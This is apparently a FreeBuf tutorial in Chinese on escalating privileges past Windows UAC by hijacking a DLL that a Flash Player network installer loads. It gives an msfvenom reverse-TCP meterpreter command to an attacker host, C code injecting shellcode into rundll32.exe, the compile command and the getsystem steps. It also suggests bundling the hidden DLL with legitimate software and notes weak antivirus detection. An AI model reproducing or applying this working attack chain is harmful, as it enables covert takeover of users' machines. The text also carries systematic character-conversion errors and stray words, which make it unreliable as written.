背景html
UAC(User Account Control,用户账户控制)是微软为提升系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操做或执行更改影响其余用户的设置的操做以前,提供权限或管理员密码。shell
也就是说一旦用户容许启动的应用程序经过UAC验证,那么这个程序也就有了管理员权限。若是咱们经过某种方式劫持了经过用户UAC验证的程序,那么相应的咱们的程序也就实现了提权的过程。windows
提权过程概述安全
首先咱们找到目标程序,查找其动态加载的dll文件而后将其替换掉,插入咱们包含shellcode的dll文件,这样用户在安装此文件的时候就会调用咱们的dll文件,并执行咱们的shellcode代码。同时为了防止程序崩掉致使咱们的代码退出,采用注入的方式保证shellcode的稳定执行。服务器
在此过程当中,若是目标程序请求UAC权限,对于用户来讲这是一个正常的安装文件,一旦经过UAC验证,相应咱们的shellcode也完成了提权过程。替换安装包dll文件这种行为太过于敏感,其实最后实现的方式是找到目标程序须要加载的,而且当前目录又不存在的须要联网下载的dll文件,咱们只须要在该目录下放一个同名dll文件便可。tcp
实验环境ide
Kali Debian7工具
Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反弹TCP链接。最好安装一个Mingw-w64用于编译c代码。测试
windows7 x64网站
主要的目标测试环境。
Procmon.exe
Procmon是微软出的一款强大的Windows监视工具,不但能够监视进程/线程,还能够监控到文件系统,注册表的变化等。
install_flashplayer15x32_mssd_aaa_aih
这里咱们以flashplayer安装文件做为目标文件,版本为15x32_mssd_aaa_aih,可自行下载,或者从最后的打包附件中找到。
详细提权过程
查找可劫持的dll文件
首先咱们在win7系统下先打开procmon监控软件,清除一下日志信息,而后运行咱们的目标文件install_flashplayer15x32_mssd_aaa_aih,运行事后会弹出UAC选项,须要用户确认受权。
这里咱们点“是”,而后安装包开始安装并自删除,并从服务器下载所需的文件,这时候就能够关掉了,由于咱们只须要看该软件包都加载了哪些dll文件。
看下Procmon.exe记录全部行为:
信息量太大,咱们须要过滤出有用的信息。
首先是只看咱们目标进程的信息,添加过滤规则:
Process Name is install_flashplayer15x32_mssd_aaa_aih
而后是过滤掉加载系统的dll文件,只看安装包当前目录下加载的dll文件,我这里安装包存放在dllhijack文件夹下,添加过滤规则:
Path contains dllhijack
而且该加载dll不存在,须要联网从服务器下载,最后再添加一个过滤规则:
Result is NAME NOT FOUND
三个过滤规则以下所示:
通过三个规则过滤后,留下的信息就很明显了,以下图所示:
上边所列的dll文件都是会尝试加载,而且找不到,会联网进行下载的dll文件,所以,咱们的目标就是劫持这些dll文件,也不须要替换,直接将咱们的dll文件放在安装包同目录便可,这也是为何选择这个安装程序测试的缘由。若是选择其余安装包测试的,最好也是选择这种联网安装类型的,全部文件都从服务器拉取,若是安装程序没有对这些从服务器拉取的文件进行效验,就可以被劫持。
编写exploit
找到劫持了dll文件后,咱们进入Debian系统用msf生成shellcode,这里咱们选择反弹tcp的shellcode,须要知道服务器ip地址和监听端口,这里也选择Debian系统做为服务器,ifconfig查看下ip,设置监听端口为9000,最后执行以下命令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c
为了防止程序挂掉或者退出致使shellcode也跟着退出,采用注入的方式,将shellcode注入rundll32.exe进程,而后链接远程端口。服务器监听该端口,一旦有请求就创建会话链接,注入关键代码:
if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
最后将程序编译,这里编译直接在Debian系统下用Mingw-w64编译,命令入下:
root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared
root@idhyt:~/maldemo# file template.dll
template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
将编译好的template.dll拷贝到win7系统中备用。
debian系统设置服务器并监听9000端口,全部命令以下:
提权
将编译的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目录下,从咱们监控到的可劫持dll文件中选择一个,这里我选择dhcpcsv6.dll。将咱们的dll文件更名为dhcpcsvc6.dll,其余dll文件可自行尝试。以后从新运行安装包,弹出UAC选项后点“是”。
以后咱们在debian系统的服务端会看到咱们已经监听到了这个端口,看下会话信息:
查看下当前uid,而后执行getsystem命令权限:
能够看到已经提权成功,而后进入shell查看下文件,运行个计算器什么的。
总结
UAC很大程度上减小PC受到恶意软件侵害的机会,可是并不代表是不可被利用的。经过这种dll劫持方式,能够将dll文件设置为隐藏,并将正常的软件(如adobe flash player)打包给用户,用户基本是察觉不到的,一旦用户正常安装,机器就会被攻击者控制。一些病毒经过劫持lpk.dll等系统dll文件形成的病毒体执行,也是利用这种思路,可是替换系统文件这种敏感操做,基本逃不过杀软的监控了。
各杀软厂商对shellcode这种检测和防护也不够严格,直接从msf中提取的shellcode,没作任何变形和过杀软处理,而后virustotal网站上扫描结果以下:
能够看出总共用了56中杀毒软件扫描,报毒的只有16个,而后看下国内的杀软:
国内杀软全都没有报毒,因此经过dll劫持提权仍是有很大的使用空间。
代码和安装包上传百度网盘,密码: rmsq 解压码:ks123456
*本文做者:猎豹科学院(企业帐号),转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)